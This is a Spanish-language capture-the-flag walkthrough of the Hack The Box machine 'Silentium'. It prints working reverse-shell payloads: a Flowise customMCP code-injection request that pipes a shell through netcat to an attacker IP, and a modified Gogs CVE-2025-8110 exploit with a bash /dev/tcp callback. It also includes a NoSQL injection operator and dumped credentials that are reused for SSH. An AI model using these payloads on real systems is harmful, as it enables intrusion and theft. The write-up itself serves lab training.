Silentium

Enumeración

Comenzamos la fase de reconocimiento verificando la conectividad. El TTL=63 del paquete ICMP nos indica de inmediato que la máquina objetivo opera bajo un sistema Linux. Nuestro escaneo inicial de Nmap reveló los puertos clásicos 22 (SSH) y 80 (HTTP). Al explorar la web, identificamos el dominio silentium.htb. Sabiendo que los servidores web suelen ocultar más información, utilizamos Gobuster para realizar una enumeración de subdominios virtuales (VHost) basada en diccionario, lo que nos permitió descubrir el entorno de pruebas staging.silentium.htb, abriendo una nueva superficie de ataque.

# [-c 1] Enviar exactamente 1 paquete ICMP
# Comprobar la conexión y el ttl=63 que confirma un sistema Linux
┌──(jquirozz㉿jquirozz.com)-[~/HTB/silentium]
└─$ ping -c 1 10.129.25.212
PING 10.129.25.212 (10.129.25.212) 56(84) bytes of data.
64 bytes from 10.129.25.212: icmp_seq=1 ttl=63 time=110 ms

# [-p-] Escanear los 65535 puertos
# [-n] Desactivar resolución DNS para agilizar el escaneo
# [-sS] Escaneo TCP SYN (Stealth)
# [-Pn] Omitir el descubrimiento de host (No ping)
# [--min-rate=5000] Enviar al menos 5000 paquetes por segundo
# [-oG] Guardar el output en formato Grepeable
┌──(jquirozz㉿jquirozz.com)-[~/HTB/silentium]
└─$ nmap -p- -n -sS -Pn --min-rate=5000 10.129.25.212 -oG allPorts
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

# Añadir el dominio principal al archivo hosts local
┌──(jquirozz㉿jquirozz.com)-[~/HTB/silentium]
└─$ echo "10.129.25.212 silentium.htb" | sudo tee -a /etc/hosts
10.129.25.212 silentium.htb

# [-p22,80] Escanear específicamente los puertos descubiertos
# [-sCV] Combinación para ejecutar scripts por defecto (-sC) y enumerar versiones (-sV)
# [-oN] Guardar el output en formato Nmap normal
┌──(jquirozz㉿jquirozz.com)-[~/HTB/silentium]
└─$ nmap -p22,80 -sCV --min-rate=5000 silentium.htb -oN nmap
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
|_  256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Silentium | Institutional Capital & Lending Solutions
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

# Whatweb nos ayuda a identificar las tecnologías, frameworks y cabeceras del servidor web
┌──(jquirozz㉿jquirozz.com)-[~/HTB/silentium]
└─$ whatweb http://silentium.htb
http://silentium.htb [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.24.0 (Ubuntu)], IP[10.129.25.212], Script, Title[Silentium | Institutional Capital & Lending Solutions], nginx[1.24.0]

# [vhost] Modo de enumeración de Virtual Hosts (Subdominios)
# [-u] URL objetivo
# [-w] Ruta al diccionario de palabras (wordlist)
# [--append-domain] Añadir el dominio base a cada palabra del diccionario
# [--exclude-length 8753] Ocultar respuestas con este tamaño de bytes (para filtrar falsos positivos de páginas por defecto)
┌──(jquirozz㉿jquirozz.com)-[~/HTB/silentium]
└─$ gobuster vhost -u http://silentium.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain --exclude-length 8753
===============================================================
staging.silentium.htb Status: 200 [Size: 3142]
===============================================================

# Añadimos el subdominio encontrado a nuestro archivo de hosts
┌──(jquirozz㉿jquirozz.com)-[~/HTB/silentium]
└─$ echo "10.129.25.212 staging.silentium.htb" | sudo tee -a /etc/hosts
10.129.25.212 staging.silentium.htb

Explotación

Al visitar el subdominio staging, descubrimos una instancia de Flowise (Plataforma para construir agentes de IA). Analizando las peticiones de autenticación con Burp Suite, descubrimos una vulnerabilidad en el manejo de consultas JSON de la API. Inyectando operadores como {"$ne":null} logramos manipular el flujo, pero el hallazgo clave ocurrió en el endpoint de recuperación de contraseñas /forgot-password. Al enviar una petición para el usuario ben@silentium.htb, la API expuso información crítica en la respuesta, filtrando un token temporal válido.

Token NoSQL

Reset de contraseña

Adicionalmente, esta versión de Flowise sufre de una vulnerabilidad de Ejecución Remota de Código a través del endpoint customMCP. Lanzamos un payload usando curl para obligar al servidor a ejecutar un binario de Netcat, obteniendo una reverse shell en un contenedor Docker. Desde ahí, al inspeccionar las variables de entorno, filtramos las credenciales SMTP que reutilizamos exitosamente para conectarnos vía SSH a la máquina host.

# [-X] Especificar el método HTTP (POST en este caso)
# [-H] Añadir cabeceras personalizadas (Autorización y Tipo de contenido)
# [-d] Enviar datos en el cuerpo de la petición (El payload JSON malicioso)
┌──(jquirozz㉿jquirozz.com)-[~/HTB/silentium]
└─$ curl -X POST "http://staging.silentium.htb/api/v1/node-load-method/customMCP" \
     -H "Authorization: Bearer hWp_8jB76zi0VtKSr2d9TfGK1fm6NuNPg1uA-8FsUJc" \
     -H "Content-Type: application/json" \
     -d '{
       "loadMethod": "listActions",
       "inputs": {
            "mcpServerConfig": "({x:(function(){const cp=process.mainModule.require(\"child_process\");cp.execSync(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.174 4444 >/tmp/f\");return 1;})()})"
       }
    }'
# [-l] Modo escucha (Listen)
# [-v] Modo verboso (Verbose)
# [-n] No resolver DNS
# [-p] Puerto local
┌──(jquirozz㉿jquirozz.com)-[~]
└─$ nc -lvnp 4444
connect to [10.10.15.174] from (UNKNOWN) [10.129.25.212] 35193

/# id
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

/# whoami
root

/# cat /root/root.txt
cat: can't open '/root/root.txt': No such file or directory'

/# ls -la /root
total 16
drwx------    1 root     root          4096 Apr  8 09:41 .
drwxr-xr-x    1 root     root          4096 Apr  8 15:14 ..
-rw-------    1 root     root             9 Jan 29 21:22 .ash_history
drwxr-xr-x    3 root     root          4096 Apr 15 12:14 .flowise

/# history

# Una vez dentro del contenedor Docker, listamos los procesos y variables de entorno buscando credenciales quemadas en el código
/# env
FLOWISE_PASSWORD=F1l3_d0ck3r
ALLOW_UNAUTHORIZED_CERTS=true
NODE_VERSION=20.19.4
HOSTNAME=c78c3cceb7ba
YARN_VERSION=1.22.22
SMTP_PORT=1025
SHLVL=3
PORT=3000
HOME=/root
SENDER_EMAIL=ben@silentium.htb
PUPPETEER_EXECUTABLE_PATH=/usr/bin/chromium-browser
JWT_ISSUER=ISSUER
JWT_AUTH_TOKEN_SECRET=AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD
LLM_PROVIDER=nvidia-nim
SMTP_USERNAME=test
SMTP_SECURE=false
JWT_REFRESH_TOKEN_EXPIRY_IN_MINUTES=43200
FLOWISE_USERNAME=ben
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
DATABASE_PATH=/root/.flowise
JWT_TOKEN_EXPIRY_IN_MINUTES=360
JWT_AUDIENCE=AUDIENCE
SECRETKEY_PATH=/root/.flowise
PWD=/
SMTP_PASSWORD=r04D!!_R4ge
NVIDIA_NIM_LLM_MODE=managed
SMTP_HOST=mailhog
JWT_REFRESH_TOKEN_SECRET=AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD
SMTP_USER=test

# Probamos reutilizar la contraseña encontrada en las variables de entorno para acceder por SSH
┌──(jquirozz㉿jquirozz.com)-[~]
└─$ ssh ben@silentium.htb

ben@silentium:~$ id
uid=1000(ben) gid=1000(ben) groups=1000(ben),100(users)

ben@silentium:~$ cat ~/user.txt
1b*****************************30

Escalada de Privilegios

Una vez con acceso de bajo privilegio como el usuario ben, enumeramos las conexiones y servicios internos de la máquina. Identificamos varios puertos a la escucha en localhost, siendo el puerto 3001 el más llamativo. Para investigar qué corría allí, utilizamos Local Port Forwarding a través de SSH, trayendo ese puerto interno a nuestra máquina local.

Descubrimos que el puerto 3001 alojaba una instancia de Gogs (Servicio de repositorios Git). Investigando vulnerabilidades para este servicio, encontramos el reciente CVE-2025-8110, un RCE autenticado. Tras registrar manualmente un usuario de prueba en el portal web de Gogs, modificamos un exploit público en Python con nuestras nuevas credenciales e inyectamos un payload de Bash. Al ejecutarlo, recibimos la conexión inversa en nuestro puerto local, otorgándonos control total como root.

Crear usuario

# [-t] Mostrar conexiones TCP
# [-u] Mostrar conexiones UDP
# [-l] Mostrar solo sockets a la escucha (Listening)
# [-n] No resolver nombres de host (mostrar IPs numéricas)
# [-p] Mostrar el proceso asociado al puerto
ben@silentium:~$ ss -tulnp
Netid         State           Recv-Q          Send-Q         Local Address:Port            Peer Address:Port
udp           UNCONN          0               0                 127.0.0.54:53                   0.0.0.0:*
udp           UNCONN          0               0              127.0.0.53%lo:53                   0.0.0.0:*
udp           UNCONN          0               0                    0.0.0.0:68                   0.0.0.0:*
tcp           LISTEN          0               4096               127.0.0.1:45337                0.0.0.0:*
tcp           LISTEN          0               4096           127.0.0.53%lo:53                   0.0.0.0:*
tcp           LISTEN          0               4096               127.0.0.1:3000                 0.0.0.0:*
tcp           LISTEN          0               4096               127.0.0.1:3001                 0.0.0.0:*
tcp           LISTEN          0               4096               127.0.0.1:1025                 0.0.0.0:*
tcp           LISTEN          0               4096                 0.0.0.0:22                   0.0.0.0:*
tcp           LISTEN          0               511                  0.0.0.0:80                   0.0.0.0:*
tcp           LISTEN          0               4096               127.0.0.1:8025                 0.0.0.0:*
tcp           LISTEN          0               4096              127.0.0.54:53                   0.0.0.0:*

ben@silentium:~$ exit

# [-L] Port Forwarding Local. Sintaxis: puerto_local:host_destino:puerto_destino
# Esto mapea el puerto 3001 del servidor remoto a nuestro puerto 3001 de la máquina atacante
┌──(jquirozz㉿jquirozz.com)-[~]
└─$ ssh -L 3001:localhost:3001 ben@silentium.htb

# Añadir el subdominio al archivo hosts local
┌──(jquirozz㉿jquirozz.com)-[~]
└─$ echo "10.129.25.212 staging-v2-code.dev.silentium.htb" | sudo tee -a /etc/hosts
10.129.25.212 staging-v2-code.dev.silentium.htb

# Descargar el exploit público (CVE-2025-8110) a nuestra máquina local
┌──(jquirozz㉿jquirozz.com)-[~]
└─$ wget https://raw.githubusercontent.com/zAbuQasem/gogs-CVE-2025-8110/refs/heads/main/CVE-2025-8110.py

# Descargar el exploit público (CVE-2025-8110) a nuestra máquina local
┌──(jquirozz㉿jquirozz.com)-[~]
└─$ nano CVE-2025-8110.py

Recuerda cambiar el username, password con las credenciales del usuario creado previamente y comentar el llamado a register() en main():

...
...
...
def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", "--url", required=True, help="Gogs base URL")
    parser.add_argument("-lh", "--host", required=True, help="Attacker host")
    parser.add_argument("-lp", "--port", required=True, help="Attacker port")
    parser.add_argument("-x", "--proxy", action="store_true", help="Use proxy")
    args = parser.parse_args()
    session = requests.Session()
    if args.proxy:
        session.proxies.update(proxies)
    session.verify = False
    username = "test"   # -> Colocar el usuario que acabamos de crear
    password = "LaVaca1234!"    # -> Colocar la contraseña
    command = f"bash -c 'bash -i >& /dev/tcp/{args.host}/{args.port} 0>&1' #"
    try:
        # register(session, args.url, username, password) -> Comentar esta linea
...
...
...
# [-u] URL base del servicio Gogs (ahora en nuestro localhost)
# [-lh] Local Host (Nuestra IP atacante VPN)
# [-lp] Local Port (El puerto de nuestro netcat)
┌──(jquirozz㉿jquirozz.com)-[~]
└─$ python3 CVE-2025-8110.py -u http://localhost:3001/ -lh 10.10.15.174 -lp 8888
[+] Authenticated successfully
[+] Application token: fea48970ef394369c7111393ea73be13cbfdb463
[+] Exploit sent, check your listener!

┌──(jquirozz㉿jquirozz.com)-[~]
└─$ nc -lvnp 8888
listening on [any] 8888 ...
connect to [10.10.15.174] from (UNKNOWN) [10.129.25.212] 36456

root@silentium:~# id
uid=0(root) gid=0(root) groups=0(root)

root@silentium:~# cat /root/root.txt
ea*****************************8c